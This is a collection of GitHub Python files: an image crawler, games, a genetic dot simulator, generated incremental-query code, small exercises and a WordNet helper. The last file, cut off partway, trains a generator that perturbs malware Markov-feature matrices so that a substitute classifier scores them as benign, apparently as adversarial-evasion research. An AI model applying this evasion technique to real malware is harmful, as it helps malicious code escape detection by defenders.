base64.b64encode(url_path.encode()).decode()\n return \"p_\" + unique_image_name + '{}.{}'.format(filename, extension)\n\n# 이미지 파일명이 겹치지 않도록 고유한 문자열 일부 넣기\ndef refresh_unique_image_name():\n global unique_image_name\n unique_image_name = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits)\n for _ in range(16))\n return\n\n# 이미지 크롤링\ndef image_crawler(keyword):\n refresh_unique_image_name()\n\n google_crawler = GoogleImageCrawler(downloader_cls=Base64NameDownloader, storage={'root_dir': IMAGE_DIR})\n google_crawler.crawl(keyword=keyword, max_num=5)\n\n dir_path = os.path.dirname(os.path.realpath(__file__))\n file_name = glob.glob(f\"p_{unique_image_name}*\")\n\n img_path = os.path.join(dir_path, file_name[0])\n return img_path","repo_name":"e2yong/CreatePPT","sub_path":"python/Crawler_for_ppt.py","file_name":"Crawler_for_ppt.py","file_ext":"py","file_size_in_byte":1680,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"7950401153","text":"import numpy as np\n\nclass Company:\n def __init__(self,sales,cost,persons):\n self.sales = sales\n self.cost = cost\n self.persons = persons\n\n def get_profit(self):\n return self.sales -self.cost\n\nif __name__ == '__main__':\n ca = Company(100,200,300)\n print(ca.get_profit())\n\n a = np.arange(6).reshape(2,3)\n a_m = np.mat(a)\n b = np.arange(6).reshape(3,2)\n b_m = np.mat(b)\n print(np.dot(a,b))\n print(a_m*b_m)\n","repo_name":"n0n0a/study-tensorflow","sub_path":"chapter2/tutorial.py","file_name":"tutorial.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24891259881","text":"from tkinter import Button, Label\r\nfrom random import sample\r\nfrom settings import MINES_COUNT, CELL_COUNT\r\nimport ctypes\r\nimport sys\r\n\r\nclass Cell:\r\n all = []\r\n cell_count=CELL_COUNT\r\n cell_count_label_object = None\r\n # constructor class\r\n def __init__(self, x, y, is_mine=False):\r\n self.is_mine = is_mine\r\n self.is_opened = False\r\n self.is_flag = False\r\n self.is_question = False\r\n self.cell_btn_object = None\r\n self.x = x\r\n self.y = y\r\n\r\n # Append the object to the Cell.all list\r\n Cell.all.append(self)\r\n\r\n def create_btn_object(self, location):\r\n btn = Button(\r\n location,\r\n width=12,\r\n height=4,\r\n #image=None,\r\n #text=f'{self.x},{self.y}' # if you want to print a text in the middle of a cell\r\n )\r\n btn.bind('', self.left_click_actions) # Left Click\r\n btn.bind('', self.right_click_actions) # Right Click\r\n self.cell_btn_object = btn\r\n\r\n @staticmethod # useful for the class, not the instances\r\n def create_cell_count_label(location):\r\n lbl = Label(\r\n location,\r\n bg=\"black\",\r\n fg='white',\r\n text=f\"Cells Left:{CELL_COUNT}\",\r\n width=12,\r\n height=4,\r\n font=(\"\",30) # size of the font and which font is used\r\n )\r\n Cell.cell_count_label_object = lbl\r\n\r\n def show_mine(self):\r\n # interrupt the game and show a message that the player lost\r\n self.cell_btn_object.configure(bg='red')\r\n ctypes.windll.user32.MessageBoxW(0, 'You clicked on a mine', 'Game Over', 0)\r\n sys.exit()\r\n \r\n def get_cell_by_axis(self, x, y):\r\n # Return a cell object based on the x,y values\r\n for cell in Cell.all:\r\n if cell.x == x and cell.y == y:\r\n return cell\r\n\r\n @property # it allows you to access the return of this function like a property of the class \r\n def surrounded_cells(self): # find all the 8 surrounding cells of a middle cell\r\n cells = [\r\n self.get_cell_by_axis(self.x-1, self.y-1),\r\n self.get_cell_by_axis(self.x-1, self.y),\r\n self.get_cell_by_axis(self.x-1, self.y+1),\r\n self.get_cell_by_axis(self.x, self.y-1),\r\n self.get_cell_by_axis(self.x, self.y+1),\r\n self.get_cell_by_axis(self.x+1, self.y-1),\r\n self.get_cell_by_axis(self.x+1, self.y),\r\n self.get_cell_by_axis(self.x+1, self.y+1)\r\n ]\r\n\r\n cells = [cell for cell in cells if cell is not None]\r\n return cells\r\n\r\n @property \r\n def surrounded_cells_mines_length(self):\r\n counter = 0 \r\n for cell in self.surrounded_cells:\r\n if cell.is_mine:\r\n counter += 1\r\n return counter\r\n\r\n def show_cell(self):\r\n if not self.is_opened:\r\n Cell.cell_count -= 1\r\n self.cell_btn_object.configure(text=self.surrounded_cells_mines_length) # shows the amount of mines around this cell\r\n # Replaces the cell count label with the newer count\r\n if Cell.cell_count_label_object:\r\n Cell.cell_count_label_object.configure(\r\n text=f\"Cells Left:{Cell.cell_count}\"\r\n )\r\n # If this is a flag, change the color to the button color\r\n self.cell_btn_object.configure(\r\n bg='SystemButtonFace'\r\n )\r\n\r\n # Mark this cell as opened\r\n self.is_opened = True\r\n\r\n def left_click_actions(self, event):\r\n if self.is_mine:\r\n self.show_mine()\r\n else:\r\n if self.surrounded_cells_mines_length == 0 :\r\n for cell_object in self.surrounded_cells:\r\n cell_object.show_cell()\r\n self.show_cell() \r\n # if you have found all the mines\r\n if Cell.cell_count == MINES_COUNT:\r\n ctypes.windll.user32.MessageBoxW(0, 'Congratulations, you won the game!', 'Game Over', 0)\r\n sys.exit()\r\n\r\n # Cancel left and right click events now that the events are opened\r\n self.cell_btn_object.unbind('')\r\n self.cell_btn_object.unbind('')\r\n\r\n def right_click_actions(self, event):\r\n if not self.is_flag and not self.is_question:\r\n self.cell_btn_object.configure(\r\n bg=\"orange\"\r\n )\r\n self.is_flag = True\r\n elif self.is_flag:\r\n self.cell_btn_object.configure(\r\n bg=\"purple\"\r\n )\r\n self.is_flag = False\r\n self.is_question = True\r\n else:\r\n self.cell_btn_object.configure(\r\n bg='SystemButtonFace'\r\n )\r\n self.is_flag = False\r\n self.is_question = False\r\n\r\n @staticmethod\r\n def randomize_mines():\r\n picked_cells = sample(Cell.all, MINES_COUNT) # find which cells will be mines\r\n for picked_cell in picked_cells: # convert Cell objects to mines\r\n picked_cell.is_mine = True\r\n\r\n\r\n # __repr__ is a special method used to represent a class’s objects as a string.\r\n # You can define your own string representation of your class objects using the __repr__ method.\r\n # Special methods are a set of predefined methods used to enrich your classes. They start and end with double underscores.\r\n # Example Cell object before the change of the __repr__ function: \r\n # Example Cell object after the change of the __repr__ function: Cell(0, 0)\r\n # __repr__ is used to compute the “official” string representation of an object and is typically used for debugging.\r\n def __repr__(self):\r\n return f\"Cell({self.x}, {self.y})\"","repo_name":"ntelo007/minesweeper_game_python","sub_path":"cell.py","file_name":"cell.py","file_ext":"py","file_size_in_byte":5863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34289600714","text":"\nimport sys, time, pygame\nfrom random import randint\nfrom pygame.locals import *\n\nNUMBER_PLAYERS = 2000 # Lower if this runs slow on your computer\ngoal_pos = [735, 735] # The pixel that you want the AI to get to. If you want \"Survival Mode\" (Trying to keep dots alive) set to [400, 400]\n\ndef dist_to_goal(pos, goal_pos):\n\treturn abs(pos[0]-goal_pos[0]) + abs(pos[1]-goal_pos[1])\n\nclass Dot:\n\tdef __init__(self, display, color, mutate=None, instuctions=None, pos=None, alive=None, step=None, fitness=None):\n\t\tself.pos = [400, 400]\n\t\tself.mutate = mutate\n\t\tself.color = color\n\t\tself.instuctions = instuctions\n\t\tself.step = 0\n\t\tself.display = display\n\t\tself.alive = True\n\t\tself.fitness = 0\n\n\tdef gen_random(self):\n\t\tself.instuctions = [] # Empty list\n\n\t\tfor i in range(1000): # This is extended later\n\t\t\tself.instuctions.append([0, 0])\n\n\t\tfor i in range(len(self.instuctions)):\n\t\t\tself.instuctions[i][0] = randint(-5, 5)\n\t\t\tself.instuctions[i][1] = randint(-5, 5)\n\n\tdef show(self):\n\t\tpygame.draw.circle(self.display, self.color, self.pos, 4)\n\t\tself.step+=1\n\n\tdef move(self):\n\t\tif self.mutate == True:\n\t\t\tif 0.01 != randint(1, 500)/100:\n\t\t\t\tif self.step < len(self.instuctions):\n\t\t\t\t\tself.pos[0] += self.instuctions[self.step][0]\n\t\t\t\t\tself.pos[1] += self.instuctions[self.step][1]\n\t\t\t\telse: # No more instructions! Gen more\n\t\t\t\t\tself.instuctions.append([0,0])\n\t\t\t\t\tself.instuctions[-1][0] = randint(-5, 5)\n\t\t\t\t\tself.instuctions[-1][1] = randint(-5, 5)\n\t\t\t\t\tself.pos[0] += self.instuctions[-1][0]\n\t\t\t\t\tself.pos[1] += self.instuctions[-1][1]\n\t\t\telse: # Some on the fly mutating b/c I give up.. Really dirty but at this point who cares...\n\t\t\t\tif self.step < len(self.instuctions):\n\t\t\t\t\tself.instuctions[self.step][0] = randint(-5, 5)\n\t\t\t\t\tself.instuctions[self.step][1] = randint(-5, 5)\n\t\t\t\t\tself.pos[0] += self.instuctions[self.step][0]\n\t\t\t\t\tself.pos[1] += self.instuctions[self.step][1]\n\t\t\t\telse: # No more instructions! Gen more\n\t\t\t\t\tself.instuctions.append([0,0])\n\t\t\t\t\tself.instuctions[-1][0] = randint(-5, 5)\n\t\t\t\t\tself.instuctions[-1][1] = randint(-5, 5)\n\t\t\t\t\tself.pos[0] += self.instuctions[-1][0]\n\t\t\t\t\tself.pos[1] += self.instuctions[-1][1]\n\t\telse:\n\t\t\tif self.step < len(self.instuctions):\n\t\t\t\tself.pos[0] += self.instuctions[self.step][0]\n\t\t\t\tself.pos[1] += self.instuctions[self.step][1]\n\t\t\telse:\n\t\t\t\tself.instuctions.append([0,0])\n\t\t\t\tself.instuctions[-1][0] = randint(-5, 5)\n\t\t\t\tself.instuctions[-1][1] = randint(-5, 5)\n\t\t\t\tself.pos[0] += self.instuctions[-1][0]\n\t\t\t\tself.pos[1] += self.instuctions[-1][1]\n\n\tdef check_alive(self):\n\t\tif (self.pos[0] < 0 or self.pos[1] < 0 or self.pos[0] > 800 or self.pos[1] > 800) or (self.pos[0] > 700 and self.pos[0] < 770 and self.pos[1] > 700 and self.pos[1] < 770):\n\t\t\t# Checks if out of bounds or inside goal\n\t\t\tself.alive = False\n\n\tdef update(self):\n\t\tif self.alive:\n\t\t\tself.check_alive()\n\t\t\tself.move()\n\t\tself.show() # Still show even if dead\n\n\tdef calc_fitness(self):\n\t\t# Use after dead\n\t\t# Should use quadrents, and the goal for finding best dots\n\t\t'''\n\t\tif self.pos[0] < 0 and self.pos[1] < 0:\n\t\t\tself.fitness = [] # If ur ded u get no points\n\t\t\treturn\n\t\telif self.pos[0] > 700 and self.pos[0] < 770 and self.pos[1] > 700 and self.pos[1] < 770: # Reached Goal\n\t\t\tpts = [1 for x in range(1)] # [1, 1, 1, 1 ...]\n\n\t\telse:\n\t\t\tpts = [] # Idk... ------------------------------------------------------------------------------ NEEDS TO BE OPTIMIZED!\n\t\t'''\n\t\tpts = (1540**2-dist_to_goal(self.pos, goal_pos)**2)\n\n\t\t\n\n\t\tself.fitness = pts\n\ndef select(display, dots):\n\tnew_dots = []\n\tgen_score = 0\n\tfor dot in dots: # calc fitness, find total pts\n\t\tdot.calc_fitness()\n\t\tgen_score += dot.fitness\n\n\tif gen_score <= 1:\n\t\tfor dot in dots:\n\t\t\tdot.gen_random()\n\t\t\tnew_dots.append(Dot(display, (0), False, dot.instuctions))\n\t\treturn new_dots\n\n\tprint(f'Gen Score: {gen_score}')\n\n\tfor dot in dots:\n\t\tif dot.fitness > gen_score/NUMBER_PLAYERS:\n\t\t\tnew_dots.append(Dot(display, (255, 0, 100), False, dot.instuctions))\n\n\twhile len(new_dots) < len(dots):\n\t\tchoice = randint(0, gen_score)\n\t\tcount = 0\n\t\tfor dot in dots:\n\t\t\tif count > choice:\n\t\t\t\tnew_dots.append(Dot(display, (0), True, dot.instuctions))\n\t\t\t\tbreak\n\t\t\tcount+=dot.fitness\n\n\treturn new_dots\n\ndef main():\n\tpygame.init()\n\n\tWHITE=(255, 255, 255)\n\tBLUE=(200, 200, 255)\n\tRED=(255, 0, 0)\n\tGREEN=(0, 255, 0)\n\tBLACK=(0)\n\tgen = 1\n\n\tDISPLAY=pygame.display.set_mode((800,800),0,32)\n\tdots = []\n\n\tfor i in range(NUMBER_PLAYERS): # Initialize NUMBER_PLAYER players and put them in list dots\n\t\tdots.append(Dot(DISPLAY, (0), True))\n\n\tfor i in dots:\n\t\ti.gen_random()\n\n\tprint('New Gen: 1')\n\n\twhile True:\n\t\twhile True:\n\t\t\tDISPLAY.fill(WHITE)\n\n\t\t\tpygame.draw.rect(DISPLAY, RED, [700, 700, 70, 70]) # Goal\n\n\t\t\tfor i in dots:\n\t\t\t\ti.update()\n\n\t\t\tpygame.display.update()\n\n\t\t\tif dots[0].step == 5000:\n\t\t\t\tbreak\n\n\t\t\t# Check if need to exit\n\t\t\tfor event in pygame.event.get():\n\t\t\t\tif event.type==QUIT:\n\t\t\t\t\tpygame.quit()\n\t\t\t\t\tsys.exit()\n\n\t\tgen+=1\n\n\t\tdots = select(DISPLAY, dots)\n\t\tfor i in dots:\n\t\t\ti.pos = [400, 400]\n\t\t\ti.step = 0\n\t\t\ti.alive = True\n\n\t\tprint(f'New Gen: {gen}')\n\nmain()\n","repo_name":"JonPizza/evolution-simulator","sub_path":"evolve.py","file_name":"evolve.py","file_ext":"py","file_size_in_byte":5052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7079782509","text":"from incoq.runtime import *\n# Comp1 := {(m, k, o_i) : (m, k, m_m_k_k) in _MAP, (m_m_k_k, o) in _M, (o, o_i) in _F_i}\n_m_Comp1_bbu = Map()\ndef _maint__m_Comp1_bbu_add(_e):\n (v11_1, v11_2, v11_3) = _e\n if ((v11_1, v11_2) not in _m_Comp1_bbu):\n _m_Comp1_bbu[(v11_1, v11_2)] = set()\n _m_Comp1_bbu[(v11_1, v11_2)].add(v11_3)\n\ndef _maint__m_Comp1_bbu_remove(_e):\n (v12_1, v12_2, v12_3) = _e\n _m_Comp1_bbu[(v12_1, v12_2)].remove(v12_3)\n if (len(_m_Comp1_bbu[(v12_1, v12_2)]) == 0):\n del _m_Comp1_bbu[(v12_1, v12_2)]\n\n_m__M_in = Map()\ndef _maint__m__M_in_add(_e):\n (v9_1, v9_2) = _e\n if (v9_2 not in _m__M_in):\n _m__M_in[v9_2] = set()\n _m__M_in[v9_2].add(v9_1)\n\n_m__MAP_uub = Map()\ndef _maint__m__MAP_uub_add(_e):\n (v7_1, v7_2, v7_3) = _e\n if (v7_3 not in _m__MAP_uub):\n _m__MAP_uub[v7_3] = set()\n _m__MAP_uub[v7_3].add((v7_1, v7_2))\n\nComp1 = RCSet()\ndef _maint_Comp1__MAP_add(_e):\n # Iterate {(v1_m, v1_k, v1_m_m_k_k, v1_o, v1_o_i) : (v1_m, v1_k, v1_m_m_k_k) in deltamatch(_MAP, 'bbb', _e, 1), (v1_m_m_k_k, v1_o) in _M, (v1_o, v1_o_i) in _F_i}\n (v1_m, v1_k, v1_m_m_k_k) = _e\n if isinstance(v1_m_m_k_k, Set):\n for v1_o in v1_m_m_k_k:\n if hasattr(v1_o, 'i'):\n v1_o_i = v1_o.i\n if ((v1_m, v1_k, v1_o_i) not in Comp1):\n Comp1.add((v1_m, v1_k, v1_o_i))\n # Begin maint _m_Comp1_bbu after \"Comp1.add((v1_m, v1_k, v1_o_i))\"\n _maint__m_Comp1_bbu_add((v1_m, v1_k, v1_o_i))\n # End maint _m_Comp1_bbu after \"Comp1.add((v1_m, v1_k, v1_o_i))\"\n else:\n Comp1.incref((v1_m, v1_k, v1_o_i))\n\ndef _maint_Comp1__M_add(_e):\n # Iterate {(v3_m, v3_k, v3_m_m_k_k, v3_o, v3_o_i) : (v3_m, v3_k, v3_m_m_k_k) in _MAP, (v3_m_m_k_k, v3_o) in deltamatch(_M, 'bb', _e, 1), (v3_o, v3_o_i) in _F_i}\n (v3_m_m_k_k, v3_o) = _e\n if hasattr(v3_o, 'i'):\n v3_o_i = v3_o.i\n for (v3_m, v3_k) in (_m__MAP_uub[v3_m_m_k_k] if (v3_m_m_k_k in _m__MAP_uub) else set()):\n if ((v3_m, v3_k, v3_o_i) not in Comp1):\n Comp1.add((v3_m, v3_k, v3_o_i))\n # Begin maint _m_Comp1_bbu after \"Comp1.add((v3_m, v3_k, v3_o_i))\"\n _maint__m_Comp1_bbu_add((v3_m, v3_k, v3_o_i))\n # End maint _m_Comp1_bbu after \"Comp1.add((v3_m, v3_k, v3_o_i))\"\n else:\n Comp1.incref((v3_m, v3_k, v3_o_i))\n\ndef _maint_Comp1__F_i_add(_e):\n # Iterate {(v5_m, v5_k, v5_m_m_k_k, v5_o, v5_o_i) : (v5_m, v5_k, v5_m_m_k_k) in _MAP, (v5_m_m_k_k, v5_o) in _M, (v5_o, v5_o_i) in deltamatch(_F_i, 'bb', _e, 1)}\n (v5_o, v5_o_i) = _e\n for v5_m_m_k_k in (_m__M_in[v5_o] if (v5_o in _m__M_in) else set()):\n for (v5_m, v5_k) in (_m__MAP_uub[v5_m_m_k_k] if (v5_m_m_k_k in _m__MAP_uub) else set()):\n if ((v5_m, v5_k, v5_o_i) not in Comp1):\n Comp1.add((v5_m, v5_k, v5_o_i))\n # Begin maint _m_Comp1_bbu after \"Comp1.add((v5_m, v5_k, v5_o_i))\"\n _maint__m_Comp1_bbu_add((v5_m, v5_k, v5_o_i))\n # End maint _m_Comp1_bbu after \"Comp1.add((v5_m, v5_k, v5_o_i))\"\n else:\n Comp1.incref((v5_m, v5_k, v5_o_i))\n\nm = Map()\ns1 = Set()\ns2 = Set()\nm['a'] = s1\n# Begin maint _m__MAP_uub after \"_MAP.add((m, 'a', s1))\"\n_maint__m__MAP_uub_add((m, 'a', s1))\n# End maint _m__MAP_uub after \"_MAP.add((m, 'a', s1))\"\n# Begin maint Comp1 after \"_MAP.add((m, 'a', s1))\"\n_maint_Comp1__MAP_add((m, 'a', s1))\n# End maint Comp1 after \"_MAP.add((m, 'a', s1))\"\nm['b'] = s2\n# Begin maint _m__MAP_uub after \"_MAP.add((m, 'b', s2))\"\n_maint__m__MAP_uub_add((m, 'b', s2))\n# End maint _m__MAP_uub after \"_MAP.add((m, 'b', s2))\"\n# Begin maint Comp1 after \"_MAP.add((m, 'b', s2))\"\n_maint_Comp1__MAP_add((m, 'b', s2))\n# End maint Comp1 after \"_MAP.add((m, 'b', s2))\"\nfor i in range(10):\n o = Obj()\n o.i = i\n # Begin maint Comp1 after \"_F_i.add((o, i))\"\n _maint_Comp1__F_i_add((o, i))\n # End maint Comp1 after \"_F_i.add((o, i))\"\n if (i % 2):\n s1.add(o)\n # Begin maint _m__M_in after \"_M.add((s1, o))\"\n _maint__m__M_in_add((s1, o))\n # End maint _m__M_in after \"_M.add((s1, o))\"\n # Begin maint Comp1 after \"_M.add((s1, o))\"\n _maint_Comp1__M_add((s1, o))\n # End maint Comp1 after \"_M.add((s1, o))\"\n else:\n s2.add(o)\n # Begin maint _m__M_in after \"_M.add((s2, o))\"\n _maint__m__M_in_add((s2, o))\n # End maint _m__M_in after \"_M.add((s2, o))\"\n # Begin maint Comp1 after \"_M.add((s2, o))\"\n _maint_Comp1__M_add((s2, o))\n # End maint Comp1 after \"_M.add((s2, o))\"\nk = 'a'\nprint(sorted((_m_Comp1_bbu[(m, k)] if ((m, k) in _m_Comp1_bbu) else set())))\nk = 'b'\nprint(sorted((_m_Comp1_bbu[(m, k)] if ((m, k) in _m_Comp1_bbu) else set())))","repo_name":"IncOQ/incoq","sub_path":"incoq/tests/programs/objcomp/map_out.py","file_name":"map_out.py","file_ext":"py","file_size_in_byte":4850,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"48"} +{"seq_id":"74104172624","text":"def get_unique_meal_count(meals):\n unique_meals = set()\n\n for meal in meals:\n if not unique_meals:\n unique_meals.add(set(meal.ingredients))\n for ingredient in meal:\n for unique in unique_meals:\n if ingredient in unique:\n pass\n else: \n unique\n\n \n return len(unique_meals)\n\nsample_meals = [\n {\n 'name': 1,\n 'ingredients': [\"Lettuce\", \"Tomato\", \"Onion\", \"Cheese\"]\n },\n {\n 'name': 2,\n 'ingredients': [\"Lettuce\", \"Tomato\", \"Onion\", \"Cheese\"]\n }\n]\nprint(get_unique_meal_count(sample_meals))\n","repo_name":"fchikwekwe/InterviewPrep","sub_path":"meals.py","file_name":"meals.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70053033425","text":"# Determine if Two Strings Are Close\n\n\"\"\"\n Two strings are considered close after attaing given operations \n so to attain given operations we need to check both words should be of same character and words having \n excatly same number of frequencies. \n\"\"\"\n\n# Time Complexity = O(nlogn) , n = max(m,n)\n# Space Complexity = O(n) , n = len(word1) ,m = len(word2)\n\nfrom collections import Counter\n\nword1 = \"cabbba\"\nword2 = \"abbccc\"\n\n\ndef closeStrings(word1, word2):\n if set(word1) == set(word2):\n freq1 = Counter(word1)\n freq2 = Counter(word2)\n\n arr1 = []\n for k, v in freq1.items():\n arr1.append(v)\n\n arr2 = []\n for k, v in freq2.items():\n arr2.append(v)\n\n return sorted(arr1) == sorted(arr2)\n\n\nprint(closeStrings(word1, word2))\n","repo_name":"DivyanshiChouksey/Data-Structure-Algorithm","sub_path":"310.Determine if Two Strings Are Close.py","file_name":"310.Determine if Two Strings Are Close.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10414946792","text":"import nltk\nfrom nltk.corpus import wordnet as wn\n\n\n# function to list out synsets of a chosen word, their lemma_names and the synsets' definitions\ndef description_of_synsets(word):\n\tfor synset in wn.synsets(word):\n\t\tprint(synset, \":\", \"\\nEnglish lemma names: {}\".format(synset.lemma_names()),\n\t\t\t \"\\nNorwegian lemmas: {}\".format(synset.lemmas(lang = 'nob')),\n\t\t\t \"\\nDefinition: {}\".format(synset.definition()), \"\\n\")\n\n# function to list the English synset of a given Norwegian lemma\ndef get_english_synset(word):\n\tfor synset in wn.synsets(word, lang = 'nob'):\n\t\tprint(synset, synset.lemmas(), \": \\n\", synset.definition(), \"\\n\")\n\n\ndef get_hype(word):\n\tfor synset in wn.synsets(word, lang = 'nob'):\n\t\tsyn = synset.hypernyms()\n\t\tfor y in syn:\n\t\t\tprint(\"Norwegian word: {}\".format(word), \"\\nEnglish synset: {}\".format(synset), \"\\nHypernym: {}\".format(syn),\n\t\t \"\\nHypernym in Norwegian: {}\".format(y.lemmas('nob')), \"\\n\")\n\n\n\n","repo_name":"morten-pedersen/Wordnet_NLTK","sub_path":"getter.py","file_name":"getter.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22548955690","text":"\"\"\"\n将对抗损失改为良性和恶意样本之差,特征去本地替代模型sigmoid的前一层\n选择100个良性样本构建样本池,\n训练的时候,对于每一个恶意样本,都会从池子中选择一个与它最接近的良性样本,在训练时,尽可能使得\n当前恶意样本与其最接近的良性样本特征尽可能接近\n\"\"\"\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport pickle\nimport numpy as np\n\n\ndef StandardScale(data):\n for index in range(data.shape[0]):\n for row in range(data.shape[2]):\n sumer = torch.sum(data[index, :, row, :])\n if sumer != 0:\n data[index, :, row, :] /= sumer\n return data\n\ndef StandardScaleNotInplace(x):\n data=x.clone()\n for index in range(data.shape[0]):\n for row in range(data.shape[2]):\n sumer = torch.sum(data[index, :, row, :])\n if sumer != 0:\n data[index, :, row, :] /= sumer\n return data\n\n\n#本地替代模型特征提取器\ndef FeatureExactor(inx):\n substituteModel = torch.load(\"markov_classifier/Family_targetF_CNNModel.pkl\")\n x = F.relu(substituteModel.layer1(inx))\n x = F.relu(substituteModel.layer2(x))\n x = F.relu(substituteModel.layer3(x))\n x = F.relu(substituteModel.layer4(x))\n x = F.relu(substituteModel.layer5(x))\n feature = F.relu(substituteModel.layer6(x))\n\n x = substituteModel.layer7(feature)\n out = torch.sigmoid(x)\n return feature,out\n\n\n#生成模型\nclass GModel(nn.Module):\n def __init__(self):\n super(GModel, self).__init__()\n self.layer1=nn.Conv2d(in_channels=1,out_channels=4,kernel_size=3,stride=1)\n self.layer2=nn.GELU()\n self.layer3=nn.Conv2d(in_channels=4,out_channels=8,kernel_size=3,stride=1)\n self.layer4=nn.GELU()\n self.layer5=nn.ConvTranspose2d(in_channels=8,out_channels=4,kernel_size=3,stride=1)\n self.layer6=nn.GELU()\n self.layer7=nn.ConvTranspose2d(in_channels=4,out_channels=1,kernel_size=3,stride=1)\n self.layer8=nn.ReLU() #保证全为正\n\n def forward(self,inx):\n x=self.layer2(self.layer1(inx))\n x=self.layer4(self.layer3(x))\n x=self.layer6(self.layer5(x))\n x=self.layer8(self.layer7(x))\n\n return x\n\n\ndef train():\n # 掩膜和噪声\n mask = torch.cat((torch.zeros(1, 1, 9, 11), torch.ones(1, 1, 2, 11)), dim=2)\n mask[:, :, -2:, -5:-2] = 0\n noise = torch.zeros(size=(11, 11))\n noise[9, 9] = 1\n noise[9, 4] = 2\n noise[10, 4] = 1\n noise[9, 10] = 1\n # 1.加载数据\n\n # 加载训练模型的恶意样本数据和测试数据集\n with open(\"dataset/trainG_data\", \"rb\") as f:\n trainG_data = pickle.load(f)\n trainG_data = torch.from_numpy(trainG_data).float()\n\n with open(\"dataset/markov_evaluate_100_X\", \"rb\") as f:\n testG_data = pickle.load(f)\n testG_data = torch.from_numpy(testG_data).float()\n\n print(trainG_data.shape, testG_data.shape)\n\n #加载良性样本池\n with open(\"dataset/benginSamplePool_100\", \"rb\") as f:\n benginData = pickle.load(f)\n benginData = torch.from_numpy(benginData).float()\n #样本池特征\n benginFeature,_=FeatureExactor(StandardScale(benginData))\n # ③实例化模型\n model = GModel()\n\n # ④超参数设置\n batch_size = 100\n optimizer = torch.optim.Adam(model.parameters(), lr=1e-3)\n epochs = 100\n alpha = 10\n beta = 5\n\n # ⑤加载本地替代模型\n targetF = torch.load(\"markov_classifier/Family_targetF_CNNModel.pkl\")\n\n # 训练\n train_acc = []\n test_acc = []\n\n for epoch in range(1, epochs + 1):\n epoch_loss1 = []\n epoch_loss2 = []\n epoch_both_loss = []\n epoch_correct = 0.\n\n index = list(range(trainG_data.shape[0]))\n np.random.shuffle(index)\n batch_trainG_data = trainG_data[index]\n for index in range(batch_trainG_data.shape[0] // batch_size):\n x = batch_trainG_data[index * batch_size:(index + 1) * batch_size]\n\n per = model(x)\n per = per*mask + noise\n x_adv = x + per\n x_adv_feature,x_adv_pred=FeatureExactor(StandardScale(x_adv))\n\n #找最接近的特征\n similarity=torch.matmul(x_adv_feature,benginFeature.transpose(-1,-2))\n similar_index=torch.argmax(similarity,dim=1)\n similar_benginFeature=benginFeature[similar_index]\n\n correct = torch.sum(x_adv_pred < 0.5).detach().numpy()\n epoch_correct += correct\n loss1 = torch.sum(per) / torch.sum(x)\n # print(x_adv_feature.shape,similar_benginFeature.shape)\n loss2 = torch.nn.MSELoss()(x_adv_feature,similar_benginFeature)\n\n loss = alpha * loss1 + beta * loss2\n\n epoch_loss1.append(loss1.detach().numpy())\n epoch_loss2.append(loss2.detach().numpy())\n epoch_both_loss.append(loss.detach().numpy())\n # 参数更新\n optimizer.zero_grad()\n loss.backward(retain_graph=True)\n optimizer.step()\n # print(per[0,0])\n\n print(\"Epoch:%d || all_loss:%.3f || overHeadLoss:%.3f || FeatureLoss:%.3f || acc:%.3f\" % (\n epoch, np.mean(epoch_both_loss), np.mean(epoch_loss1), np.mean(epoch_loss2),\n epoch_correct / len(trainG_data)))\n\n train_acc.append(epoch_correct / len(trainG_data))\n\n # 测试集\n with torch.no_grad():\n per = model(testG_data).int().float()\n per = per * mask + noise\n testG_data_adv = testG_data + per\n _,testG_data_adv_pred = FeatureExactor(StandardScale(testG_data_adv))\n correct = torch.sum(testG_data_adv_pred < 0.5).detach().numpy()\n per_count = (torch.sum(per) / len(testG_data))\n per_ratio = (torch.sum(per) / torch.sum(testG_data)).detach().numpy()\n print(\"Epoch:%d || test_acc:%.3f || per_count:%.2f || per_ratio:%.3f\" % (\n epoch, correct / testG_data.shape[0], per_count, per_ratio))\n print(per[0, 0])\n test_acc.append(correct / testG_data.shape[0])\n\n torch.save(model, \"generator/transform_triplet_v0_10_5_100\")\n import matplotlib.pyplot as plt\n\n plt.title(\"train&test acc\")\n plt.plot(train_acc, label=\"train\")\n plt.plot(test_acc, label=\"test\")\n plt.savefig(\"generator_result/transform_triplet_v0_10_5_100\")\n plt.show()\n\n#对抗样本生成测试\ndef evaluate():\n # 掩膜和噪声\n mask = torch.cat((torch.zeros(1, 1, 9, 11), torch.ones(1, 1, 2, 11)), dim=2)\n mask[:, :, -2:, -5:-2] = 0\n noise = torch.zeros(size=(11, 11))\n noise[9, 9] = 1\n noise[9, 4] = 2\n noise[10, 4] = 1\n noise[9, 10] = 1\n #加载训练好的生成器模型\n generatorModel = torch.load(\"generator/transform_triplet_v0_10_5_100\")\n\n\n #加载测试数据\n with open(\"dataset/markov_evaluate_1000_X\", \"rb\") as f:\n evaluate_x = pickle.load(f)\n with open(\"dataset/markov_evaluate_1000_Y\", \"rb\") as f:\n evaluate_y = pickle.load(f)\n\n evaluate_x=torch.from_numpy(evaluate_x).float()\n\n #干净样本测试\n _,clean_pred=FeatureExactor(StandardScaleNotInplace(evaluate_x))\n clean_acc=torch.sum(clean_pred<0.5).detach().numpy()/len(evaluate_x)\n\n #生成扰动\n per=generatorModel.forward(evaluate_x).int().float()\n per=per*mask+noise\n evaluate_x_adv=evaluate_x+per\n _,adv_pred=FeatureExactor(StandardScaleNotInplace(evaluate_x_adv))\n adv_acc=torch.sum(adv_pred<0.5).detach().numpy()/len(evaluate_x_adv)\n\n 